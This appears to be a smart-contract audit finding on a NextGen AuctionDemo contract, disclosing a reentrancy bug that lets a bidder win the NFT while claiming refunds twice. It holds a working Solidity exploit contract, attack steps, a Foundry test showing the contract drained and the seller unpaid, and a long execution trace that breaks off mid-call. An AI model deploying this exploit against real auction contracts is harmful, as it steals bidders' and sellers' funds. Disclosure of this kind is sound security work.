  1. Setup a deploy a malicious contract (DoubleWithdrawalExploit) that is IERC721Receiver, accepts auctionContract address to setup an IAuctionDemo object, tracks token id, index id, and claimed status for each msg.value amount, and has the following functions: payable fallback, bidOnAuction, onERC721Received, startExploit, and handles payout to exploiter.
  2. In the bidOnAuction, track the tokenId and index data for future refunds
  3. In the payable fallback, check to see if you've claimed refund on the msg.value yet. If not, mark claimStatus as true and pass in the tokenId and index for the msg.value into the cancelBid call.
  4. On a live auction, place several bids of varying amounts and finally submit a winning bid via the ProofOfExploit.bidOnAuction() method. This establishes the smart contract as the submitter of the bid.
  5. Execute the ProofOfExploit.startExploit() to execute exactly at the auctionEnd block.timestamp. This call will make a call to the claimAuction method in the AuctionDemo contract.
  6. During the processing of claimAuction, all non-winning bids submitted by the malicious contract will be payed out, and will then trigger the additional call of cancelBids on via the payable fallback function.
  7. Verify successful receiving of NFT and up to double refund of ETH funds.

Note: This works best if there are multiple ongoing auctions, as the ETH balance may be high enough to satisfy all refund requests.

Proof of Concept

Proof of concept of double withdrawal can be downloaded here: https://www.dropbox.com/scl/fi/7uuh1odlk9t8698ojn3vt/2023-10-nextgen-poc-double-withdrawal.zip?rlkey=1m0lytql5j6sz1j6awdz288r1&dl=0

DoubleWithdrawalExploit.sol:

pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; import "./IAuctionDemo.sol"; contract DoubleWithdrawalExploit is IERC721Receiver { IAuctionDemo public auction; mapping (uint256 => uint256) public tokenData; mapping (uint256 => uint256) public indexData; mapping (uint256 => bool) public claimedStatus; struct auctionInfoStru { address bidder; uint256 bid; bool status; } constructor(address _auctionContract) { auction = IAuctionDemo(_auctionContract); } function bidOnAuction(uint256 _tokenIdTo) external payable { tokenData[msg.value] = _tokenIdTo; indexData[msg.value] = (auction.returnBids(_tokenIdTo)).length; // This will be the index of the next auction entry auction.participateToAuction{value: msg.value}(_tokenIdTo); } // An event to log the received Ether. event EtherReceived(address indexed sender, uint256 value); // Falback function to receive either receive() external payable { // Get index to refund if(!claimedStatus[msg.value]){ claimedStatus[msg.value] = true; // Prevent double claim on same cancelBid uint256 tokenId = tokenData[msg.value]; uint256 index = indexData[msg.value]; // Cancel bid on auction auction.cancelBid(tokenId, index); } emit EtherReceived(msg.sender, msg.value); } function onERC721Received(address, address, uint256 tokenId, bytes memory) external override returns (bytes4) { // Return expected response confirming ERC721 received return this.onERC721Received.selector; } // Start the exploit by calling the claimAuction in the AuctionDemo contract function startExploit(uint256 _tokenIdTo) external { auction.claimAuction(_tokenIdTo); } // Add function to transfer ETH out to another address controlled by attacker }

Implementation of exploit in Foundry test (DoubleRefund.t.sol):

pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/NFTDelegation.sol"; import "../src/XRandoms.sol"; import "../src/NextGenAdmins.sol"; import "../src/NextGenCore.sol"; import "../src/RandomizerNXT.sol"; import "../src/MinterContract.sol"; import "../src/AuctionDemo.sol"; import "../src/DoubleWithdrawalExploit.sol"; contract TimedAuction is Test { DelegationManagementContract hhDelegation; randomPool hhRandoms; NextGenAdmins hhAdmin; NextGenCore hhCore; NextGenRandomizerNXT hhRandomizer; NextGenMinterContract hhMinter; auctionDemo hhAuctionDemo; DoubleWithdrawalExploit hhExploit; address owner; address addr1; address addr2; address auctionERC721Holder; address testBid1; address testBid2; address testBid3; address testBid4; address exploitBid; function setUp() public { owner = address(this); addr1 = vm.addr(1); addr2 = vm.addr(2); auctionERC721Holder = vm.addr(3); testBid1 = vm.addr(4); testBid2 = vm.addr(5); testBid3 = vm.addr(6); testBid4 = vm.addr(7); exploitBid = vm.addr(8); vm.deal(testBid1, 10 ether); vm.deal(testBid2, 10 ether); vm.deal(testBid3, 10 ether); vm.deal(testBid4, 20 ether); vm.deal(exploitBid, 40 ether); hhDelegation = new DelegationManagementContract(); hhRandoms = new randomPool(); hhAdmin = new NextGenAdmins(); hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin)); hhRandomizer = new NextGenRandomizerNXT(address(hhRandoms), address(hhAdmin), address(hhCore)); hhMinter = new NextGenMinterContract(address(hhCore), address(hhDelegation), address(hhAdmin)); hhAuctionDemo = new auctionDemo(address(hhMinter), address(hhCore), address(hhAdmin)); hhExploit = new DoubleWithdrawalExploit(address(hhAuctionDemo)); hhAdmin.registerAdmin(address(hhMinter), true); } function setUpCreateCollectionAndSetData() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test"; hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 1, address(addr1), true ); hhCore.setCollectionData( 1, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpCreateCollectionAndSetData2() internal { vm.startPrank(owner); string[] memory t = new string[](1); t[0] = "test2"; hhCore.createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", t ); vm.stopPrank(); vm.startPrank(owner); hhAdmin.registerCollectionAdmin( 2, address(addr1), true ); hhCore.setCollectionData( 2, // _collectionID address(addr1), // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); } function setUpSetMinterAndRandomizerContracts() internal { hhCore.addMinterContract( address(hhMinter) ); hhCore.addRandomizer( 1, address(hhRandomizer) ); hhCore.addRandomizer( 2, address(hhRandomizer) ); } function setUpSetCollectionCostsAndPhases(uint256 collectionId) internal { hhMinter.setCollectionCosts( collectionId, // _collectionID 1, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress ); hhMinter.setCollectionPhases( collectionId, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); } function testExploit() public { // Setup collection, converted from hardhat setup and scripts setUpCreateCollectionAndSetData(); setUpCreateCollectionAndSetData2(); setUpSetMinterAndRandomizerContracts(); setUpSetCollectionCostsAndPhases(1); setUpSetCollectionCostsAndPhases(2); uint256 auctionEndTime = 1796969696; // Mint NFT for auction and send it to hhMinter.mintAndAuction(auctionERC721Holder, '{"tdh": "6969"}', 0, 1, auctionEndTime); hhMinter.mintAndAuction(auctionERC721Holder, '{"tdh": "6969"}', 0, 2, auctionEndTime); // Set AuctionDemo as approved operator to allow transfer of ERC721 token to winner after auction vm.startPrank(auctionERC721Holder); hhCore.setApprovalForAll(address(hhAuctionDemo), true); vm.stopPrank(); // Bids on other auction vm.startPrank(testBid1); hhAuctionDemo.participateToAuction{value: 2 ether}(20000000000); vm.stopPrank(); vm.startPrank(testBid4); hhAuctionDemo.participateToAuction{value: 6 ether}(20000000000); vm.stopPrank(); // Adding some bids from different accounts vm.startPrank(testBid1); hhAuctionDemo.participateToAuction{value: 1 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 1.5 ether}(10000000000); vm.stopPrank(); vm.startPrank(testBid2); hhAuctionDemo.participateToAuction{value: 2 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 2.75 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 3.75 ether}(10000000000); vm.stopPrank(); vm.startPrank(testBid3); hhAuctionDemo.participateToAuction{value: 5 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 5.5 ether}(10000000000); vm.stopPrank(); vm.startPrank(exploitBid); hhExploit.bidOnAuction{value: 5.50001 ether}(10000000000); // Warp to block where auction ends vm.warp(auctionEndTime); // Exploit occurs right at auction end time hhExploit.startExploit(10000000000); vm.stopPrank(); // Verify DoubleWithdrawalExploit.sol contract holds the ERC721 assertEq(hhCore.balanceOf(address(hhExploit)), 1, "NFT was not transferred"); // Account that should have received the payment for the ERC721 is 0 instead of 1 (the winning bid) assertEq(address(auctionERC721Holder).balance, 0 ether, "Balance did not match 1"); // AuctionDemo contract balance is at 0 assertEq(address(hhAuctionDemo).balance, 0.00001 ether, "Balance did not match 2"); // DoubleWithdrawalExploit.sol contract has the 1 ether balance assertEq(address(hhExploit).balance, 27 ether, "Balance did not match 3"); } }

Foundry test run output:

[PASS] testExploit() (gas: 3458212)
Traces:
  [3458212] TimedAuction::testExploit() 
    β”œβ”€ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    β”‚   └─ ← ()
    β”œβ”€ [227043] NextGenCore::createCollection(Test Collection 1, Artist 1, For testing, www.test.com, CCO, https://ipfs.io/ipfs/hash/, , [test]) 
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x02de55d000000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [2560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    β”‚   └─ ← ()
    β”œβ”€ [23016] NextGenAdmins::registerCollectionAdmin(1, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, true) 
    β”‚   └─ ← ()
    β”œβ”€ [148686] NextGenCore::setCollectionData(1, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 2, 10000 [1e4], 0) 
    β”‚   β”œβ”€ [2638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x7b5dbac500000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    β”‚   └─ ← ()
    β”œβ”€ [213743] NextGenCore::createCollection(Test Collection 2, Artist 2, For testing, www.test.com, CCO, https://ipfs.io/ipfs/hash/, , [test2]) 
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x02de55d000000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    β”‚   └─ ← ()
    β”œβ”€ [23016] NextGenAdmins::registerCollectionAdmin(2, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, true) 
    β”‚   └─ ← ()
    β”œβ”€ [146686] NextGenCore::setCollectionData(2, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 2, 10000 [1e4], 0) 
    β”‚   β”œβ”€ [2638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x7b5dbac500000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [30513] NextGenCore::addMinterContract(NextGenMinterContract: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) 
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xde00e1f700000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [330] NextGenMinterContract::isMinterContract() [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [52586] NextGenCore::addRandomizer(1, NextGenRandomizerNXT: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) 
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x1aab8d6900000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [211] NextGenRandomizerNXT::isRandomizerContract() [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [48086] NextGenCore::addRandomizer(2, NextGenRandomizerNXT: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) 
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x1aab8d6900000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [211] NextGenRandomizerNXT::isRandomizerContract() [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [84750] NextGenMinterContract::setCollectionCosts(1, 1, 0, 0, 0, 1, 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) 
    β”‚   β”œβ”€ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xd2f4302f00000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [506] NextGenCore::retrievewereDataAdded(1) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [117082] NextGenMinterContract::setCollectionPhases(1, 1696931278 [1.696e9], 1696931278 [1.696e9], 1696931278 [1.696e9], 1796931278 [1.796e9], 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) 
    β”‚   β”œβ”€ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xb85f97a000000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [78750] NextGenMinterContract::setCollectionCosts(2, 1, 0, 0, 0, 1, 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) 
    β”‚   β”œβ”€ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xd2f4302f00000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [506] NextGenCore::retrievewereDataAdded(2) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [115082] NextGenMinterContract::setCollectionPhases(2, 1696931278 [1.696e9], 1696931278 [1.696e9], 1696931278 [1.696e9], 1796931278 [1.796e9], 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) 
    β”‚   β”œβ”€ [638] NextGenAdmins::retrieveCollectionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 2) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xb85f97a000000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [335685] NextGenMinterContract::mintAndAuction(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 1, 1796969696 [1.796e9]) 
    β”‚   β”œβ”€ [2856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x46372ba600000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [506] NextGenCore::retrievewereDataAdded(1) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(1) [staticcall]
    β”‚   β”‚   └─ ← 0
    β”‚   β”œβ”€ [555] NextGenCore::viewTokensIndexMin(1) [staticcall]
    β”‚   β”‚   └─ ← 10000000000 [1e10]
    β”‚   β”œβ”€ [534] NextGenCore::viewTokensIndexMax(1) [staticcall]
    β”‚   β”‚   └─ ← 10000009999 [1e10]
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(1) [staticcall]
    β”‚   β”‚   └─ ← 0
    β”‚   β”œβ”€ [555] NextGenCore::viewTokensIndexMin(1) [staticcall]
    β”‚   β”‚   └─ ← 10000000000 [1e10]
    β”‚   β”œβ”€ [254331] NextGenCore::airDropTokens(10000000000 [1e10], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 1) 
    β”‚   β”‚   β”œβ”€ [43723] NextGenRandomizerNXT::calculateTokenHash(1, 10000000000 [1e10], 0) 
    β”‚   β”‚   β”‚   β”œβ”€ [558] randomPool::randomNumber() [staticcall]
    β”‚   β”‚   β”‚   β”‚   └─ ← 897
    β”‚   β”‚   β”‚   β”œβ”€ [8912] randomPool::randomWord() [staticcall]
    β”‚   β”‚   β”‚   β”‚   └─ ← Tangerine
    β”‚   β”‚   β”‚   β”œβ”€ [22851] NextGenCore::setTokenHash(1, 10000000000 [1e10], 0x64555ac2feade9bad70b104b2d9a08caa47916a21c544381bade3a49b5496a58) 
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 10000000000 [1e10])
    β”‚   β”‚   └─ ← ()
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(1) [staticcall]
    β”‚   β”‚   └─ ← 1
    β”‚   └─ ← ()
    β”œβ”€ [318685] NextGenMinterContract::mintAndAuction(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 2, 1796969696 [1.796e9]) 
    β”‚   β”œβ”€ [856] NextGenAdmins::retrieveFunctionAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x46372ba600000000000000000000000000000000000000000000000000000000) [staticcall]
    β”‚   β”‚   └─ ← false
    β”‚   β”œβ”€ [560] NextGenAdmins::retrieveGlobalAdmin(TimedAuction: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [506] NextGenCore::retrievewereDataAdded(2) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(2) [staticcall]
    β”‚   β”‚   └─ ← 0
    β”‚   β”œβ”€ [555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    β”‚   β”‚   └─ ← 20000000000 [2e10]
    β”‚   β”œβ”€ [534] NextGenCore::viewTokensIndexMax(2) [staticcall]
    β”‚   β”‚   └─ ← 20000009999 [2e10]
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(2) [staticcall]
    β”‚   β”‚   └─ ← 0
    β”‚   β”œβ”€ [555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    β”‚   β”‚   └─ ← 20000000000 [2e10]
    β”‚   β”œβ”€ [239331] NextGenCore::airDropTokens(20000000000 [2e10], 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, {"tdh": "6969"}, 0, 2) 
    β”‚   β”‚   β”œβ”€ [35223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) 
    β”‚   β”‚   β”‚   β”œβ”€ [558] randomPool::randomNumber() [staticcall]
    β”‚   β”‚   β”‚   β”‚   └─ ← 897
    β”‚   β”‚   β”‚   β”œβ”€ [8912] randomPool::randomWord() [staticcall]
    β”‚   β”‚   β”‚   β”‚   └─ ← Tangerine
    β”‚   β”‚   β”‚   β”œβ”€ [22851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0x4594d859faf20b80fa133bf6d2e1506d5d7acae4b597c979d83b3da22de08912) 
    β”‚   β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”‚   └─ ← ()
    β”‚   β”‚   β”œβ”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 20000000000 [2e10])
    β”‚   β”‚   └─ ← ()
    β”‚   β”œβ”€ [534] NextGenCore::viewCirSupply(2) [staticcall]
    β”‚   β”‚   └─ ← 1
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) 
    β”‚   └─ ← ()
    β”œβ”€ [24746] NextGenCore::setApprovalForAll(auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], true) 
    β”‚   β”œβ”€ emit ApprovalForAll(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, operator: auctionDemo: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], approved: true)
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) 
    β”‚   └─ ← ()
    β”œβ”€ [93370] auctionDemo::participateToAuction(20000000000 [2e10]) 
    β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(20000000000 [2e10]) [staticcall]
    β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(20000000000 [2e10]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xd41c057fd1c78805AAC12B0A94a405c0461A6FBb) 
    β”‚   └─ ← ()
    β”œβ”€ [71551] auctionDemo::participateToAuction(20000000000 [2e10]) 
    β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(20000000000 [2e10]) [staticcall]
    β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(20000000000 [2e10]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) 
    β”‚   └─ ← ()
    β”œβ”€ [91370] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) 
    β”‚   └─ ← ()
    β”œβ”€ [128052] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [1504] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }]
    β”‚   β”œβ”€ [71551] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   β”‚   └─ ← true
    β”‚   β”‚   └─ ← ()
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xe1AB8145F7E55DC933d51a18c793F901A3A0b276) 
    β”‚   └─ ← ()
    β”œβ”€ [73026] auctionDemo::participateToAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← 1796969696 [1.796e9]
    β”‚   β”œβ”€ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← true
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::stopPrank() 
    β”‚   └─ ← ()
    β”œβ”€ [0] VM::startPrank(0xF1F6619B38A98d6De0800F1DefC0a6399eB6d30C) 
    β”‚   └─ ← ()
    β”œβ”€ [131236] DoubleWithdrawalExploit::bidOnAuction(10000000000 [1e10]) 
    β”‚   β”œβ”€ [2983] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    β”‚   β”‚   └─ ← [auctionInfoStru { bidder: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, bid: 1000000000000000000 [1e18], status: true }, auctionInfoStru { bidder: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, bid: 1500000000000000000 [1.5e18], status: true }, auctionInfoStru { bidder: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276, bid: 2000000000000000000 [2e18], status: true }]
    β”‚   β”œβ”€ [74501] auctionDemo::participateToAuction(10000000000 [1e10]) 
